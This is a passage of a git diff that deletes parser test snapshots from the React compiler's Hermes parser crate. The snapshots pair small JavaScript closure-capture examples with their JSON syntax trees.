--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-skip-computed-path.js.snap
+++ /dev/null
@@ -1,282 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capturing-function-skip-computed-path.js
----
-Input:
-function StoreLandingUnseenGiftModalContainer(a) {
-  const giftsSeen = { a };
-  return ((gift) => (gift.id ? giftsSeen[gift.id] : false))();
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "StoreLandingUnseenGiftModalContainer",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          45
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            46,
-            47
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "giftsSeen",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    59,
-                    68
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          73,
-                          74
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          73,
-                          74
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        73,
-                        74
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    71,
-                    76
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  59,
-                  76
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              53,
-              77
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "ArrowFunctionExpression",
-                "id": null,
-                "params": [
-                  {
-                    "type": "Identifier",
-                    "name": "gift",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      89,
-                      93
-                    ]
-                  }
-                ],
-                "body": {
-                  "type": "ConditionalExpression",
-                  "test": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "gift",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        99,
-                        103
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "id",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        104,
-                        106
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      99,
-                      106
-                    ]
-                  },
-                  "alternate": {
-                    "type": "BooleanLiteral",
-                    "value": false,
-                    "loc": null,
-                    "range": [
-                      130,
-                      135
-                    ]
-                  },
-                  "consequent": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "giftsSeen",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        109,
-                        118
-                      ]
-                    },
-                    "property": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "gift",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          119,
-                          123
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "id",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          124,
-                          126
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        119,
-                        126
-                      ]
-                    },
-                    "computed": true,
-                    "loc": null,
-                    "range": [
-                      109,
-                      127
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    99,
-                    135
-                  ]
-                },
-                "generator": true,
-                "async": false,
-                "loc": null,
-                "range": [
-                  88,
-                  136
-                ],
-                "expression": true,
-                "loc": null,
-                "range": [
-                  88,
-                  136
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                87,
-                139
-              ]
-            },
-            "loc": null,
-            "range": [
-              80,
-              140
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          49,
-          142
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        142
-      ],
-      "loc": null,
-      "range": [
-        0,
-        142
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    142
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-within-block.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-within-block.js.snap
deleted file mode 100644
index d55ba100d12e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-function-within-block.js.snap
+++ /dev/null
@@ -1,319 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capturing-function-within-block.js
----
-Input:
-function component(a) {
-  let z = { a };
-  let x;
-  {
-    x = function () {
-      console.log(z);
-    };
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        36,
-                        37
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    34,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  39
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              40
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    47,
-                    48
-                  ]
-                },
-                "init": null,
-                "loc": null,
-                "range": [
-                  47,
-                  48
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              43,
-              49
-            ]
-          },
-          {
-            "type": "BlockStatement",
-            "body": [
-              {
-                "type": "ExpressionStatement",
-                "expression": {
-                  "type": "AssignmentExpression",
-                  "operator": "=",
-                  "left": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      58,
-                      59
-                    ]
-                  },
-                  "right": {
-                    "type": "FunctionExpression",
-                    "id": null,
-                    "params": [],
-                    "body": {
-                      "type": "BlockStatement",
-                      "body": [
-                        {
-                          "type": "ExpressionStatement",
-                          "expression": {
-                            "type": "CallExpression",
-                            "callee": {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "console",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  82,
-                                  89
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "log",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  90,
-                                  93
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                82,
-                                93
-                              ]
-                            },
-                            "arguments": [
-                              {
-                                "type": "Identifier",
-                                "name": "z",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  94,
-                                  95
-                                ]
-                              }
-                            ],
-                            "loc": null,
-                            "range": [
-                              82,
-                              96
-                            ]
-                          },
-                          "directive": null,
-                          "loc": null,
-                          "range": [
-                            82,
-                            97
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        74,
-                        103
-                      ]
-                    },
-                    "generator": false,
-                    "async": false,
-                    "loc": null,
-                    "range": [
-                      62,
-                      103
-                    ],
-                    "loc": null,
-                    "range": [
-                      62,
-                      103
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    58,
-                    103
-                  ]
-                },
-                "directive": null,
-                "loc": null,
-                "range": [
-                  58,
-                  104
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              52,
-              108
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                118,
-                119
-              ]
-            },
-            "loc": null,
-            "range": [
-              111,
-              120
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          122
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        122
-      ],
-      "loc": null,
-      "range": [
-        0,
-        122
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    122
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-member-expr.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-member-expr.js.snap
deleted file mode 100644
index c58881be33c8..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-member-expr.js.snap
+++ /dev/null
@@ -1,296 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capturing-member-expr.js
----
-Input:
-function component(a) {
-  let z = { a };
-  let x = function () {
-    console.log(z.a);
-  };
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        36,
-                        37
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    34,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  39
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              40
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    47,
-                    48
-                  ]
-                },
-                "init": {
-                  "type": "FunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "console",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                69,
-                                76
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "log",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                77,
-                                80
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              69,
-                              80
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "z",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  81,
-                                  82
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "a",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  83,
-                                  84
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                81,
-                                84
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            69,
-                            85
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          69,
-                          86
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      63,
-                      90
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    51,
-                    90
-                  ],
-                  "loc": null,
-                  "range": [
-                    51,
-                    90
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  47,
-                  90
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              43,
-              91
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                101,
-                102
-              ]
-            },
-            "loc": null,
-            "range": [
-              94,
-              103
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          105
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        105
-      ],
-      "loc": null,
-      "range": [
-        0,
-        105
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    105
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-nested-member-call.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-nested-member-call.js.snap
deleted file mode 100644
index 0a68689651f2..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-nested-member-call.js.snap
+++ /dev/null
@@ -1,317 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capturing-nested-member-call.js
----
-Input:
-function component(a) {
-  let z = { a: { a } };
-  let x = function () {
-    z.a.a();
-  };
-  return z;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "value": {
-                        "type": "ObjectExpression",
-                        "properties": [
-                          {
-                            "type": "Property",
-                            "key": {
-                              "type": "Identifier",
-                              "name": "a",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                41,
-                                42
-                              ]
-                            },
-                            "value": {
-                              "type": "Identifier",
-                              "name": "a",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                41,
-                                42
-                              ]
-                            },
-                            "kind": "init",
-                            "method": false,
-                            "shorthand": true,
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              41,
-                              42
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          39,
-                          44
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": false,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        36,
-                        44
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    34,
-                    46
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  46
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              47
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    54,
-                    55
-                  ]
-                },
-                "init": {
-                  "type": "FunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "z",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  76,
-                                  77
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "a",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  78,
-                                  79
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                76,
-                                79
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "a",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                80,
-                                81
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              76,
-                              81
-                            ]
-                          },
-                          "arguments": [],
-                          "loc": null,
-                          "range": [
-                            76,
-                            83
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          76,
-                          84
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      70,
-                      88
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    58,
-                    88
-                  ],
-                  "loc": null,
-                  "range": [
-                    58,
-                    88
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  54,
-                  88
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              50,
-              89
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "z",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                99,
-                100
-              ]
-            },
-            "loc": null,
-            "range": [
-              92,
-              101
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          103
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        103
-      ],
-      "loc": null,
-      "range": [
-        0,
-        103
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    103
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-nested-member-expr-in-nested-func.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-nested-member-expr-in-nested-func.js.snap
deleted file mode 100644
index 9bc821f5b3a2..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-nested-member-expr-in-nested-func.js.snap
+++ /dev/null
@@ -1,394 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capturing-nested-member-expr-in-nested-func.js
----
-Input:
-function component(a) {
-  let z = { a: { a } };
-  let x = function () {
-    (function () {
-      console.log(z.a.a);
-    })();
-  };
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "value": {
-                        "type": "ObjectExpression",
-                        "properties": [
-                          {
-                            "type": "Property",
-                            "key": {
-                              "type": "Identifier",
-                              "name": "a",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                41,
-                                42
-                              ]
-                            },
-                            "value": {
-                              "type": "Identifier",
-                              "name": "a",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                41,
-                                42
-                              ]
-                            },
-                            "kind": "init",
-                            "method": false,
-                            "shorthand": true,
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              41,
-                              42
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          39,
-                          44
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": false,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        36,
-                        44
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    34,
-                    46
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  46
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              47
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    54,
-                    55
-                  ]
-                },
-                "init": {
-                  "type": "FunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "FunctionExpression",
-                            "id": null,
-                            "params": [],
-                            "body": {
-                              "type": "BlockStatement",
-                              "body": [
-                                {
-                                  "type": "ExpressionStatement",
-                                  "expression": {
-                                    "type": "CallExpression",
-                                    "callee": {
-                                      "type": "MemberExpression",
-                                      "object": {
-                                        "type": "Identifier",
-                                        "name": "console",
-                                        "typeAnnotation": null,
-                                        "loc": null,
-                                        "range": [
-                                          97,
-                                          104
-                                        ]
-                                      },
-                                      "property": {
-                                        "type": "Identifier",
-                                        "name": "log",
-                                        "typeAnnotation": null,
-                                        "loc": null,
-                                        "range": [
-                                          105,
-                                          108
-                                        ]
-                                      },
-                                      "computed": false,
-                                      "loc": null,
-                                      "range": [
-                                        97,
-                                        108
-                                      ]
-                                    },
-                                    "arguments": [
-                                      {
-                                        "type": "MemberExpression",
-                                        "object": {
-                                          "type": "MemberExpression",
-                                          "object": {
-                                            "type": "Identifier",
-                                            "name": "z",
-                                            "typeAnnotation": null,
-                                            "loc": null,
-                                            "range": [
-                                              109,
-                                              110
-                                            ]
-                                          },
-                                          "property": {
-                                            "type": "Identifier",
-                                            "name": "a",
-                                            "typeAnnotation": null,
-                                            "loc": null,
-                                            "range": [
-                                              111,
-                                              112
-                                            ]
-                                          },
-                                          "computed": false,
-                                          "loc": null,
-                                          "range": [
-                                            109,
-                                            112
-                                          ]
-                                        },
-                                        "property": {
-                                          "type": "Identifier",
-                                          "name": "a",
-                                          "typeAnnotation": null,
-                                          "loc": null,
-                                          "range": [
-                                            113,
-                                            114
-                                          ]
-                                        },
-                                        "computed": false,
-                                        "loc": null,
-                                        "range": [
-                                          109,
-                                          114
-                                        ]
-                                      }
-                                    ],
-                                    "loc": null,
-                                    "range": [
-                                      97,
-                                      115
-                                    ]
-                                  },
-                                  "directive": null,
-                                  "loc": null,
-                                  "range": [
-                                    97,
-                                    116
-                                  ]
-                                }
-                              ],
-                              "loc": null,
-                              "range": [
-                                89,
-                                122
-                              ]
-                            },
-                            "generator": false,
-                            "async": false,
-                            "loc": null,
-                            "range": [
-                              77,
-                              122
-                            ],
-                            "loc": null,
-                            "range": [
-                              77,
-                              122
-                            ]
-                          },
-                          "arguments": [],
-                          "loc": null,
-                          "range": [
-                            76,
-                            125
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          76,
-                          126
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      70,
-                      130
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    58,
-                    130
-                  ],
-                  "loc": null,
-                  "range": [
-                    58,
-                    130
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  54,
-                  130
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              50,
-              131
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                141,
-                142
-              ]
-            },
-            "loc": null,
-            "range": [
-              134,
-              143
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          145
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        145
-      ],
-      "loc": null,
-      "range": [
-        0,
-        145
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    145
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-nested-member-expr.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-nested-member-expr.js.snap
deleted file mode 100644
index 568d36a0f8e2..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-nested-member-expr.js.snap
+++ /dev/null
@@ -1,347 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capturing-nested-member-expr.js
----
-Input:
-function component(a) {
-  let z = { a: { a } };
-  let x = function () {
-    console.log(z.a.a);
-  };
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "value": {
-                        "type": "ObjectExpression",
-                        "properties": [
-                          {
-                            "type": "Property",
-                            "key": {
-                              "type": "Identifier",
-                              "name": "a",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                41,
-                                42
-                              ]
-                            },
-                            "value": {
-                              "type": "Identifier",
-                              "name": "a",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                41,
-                                42
-                              ]
-                            },
-                            "kind": "init",
-                            "method": false,
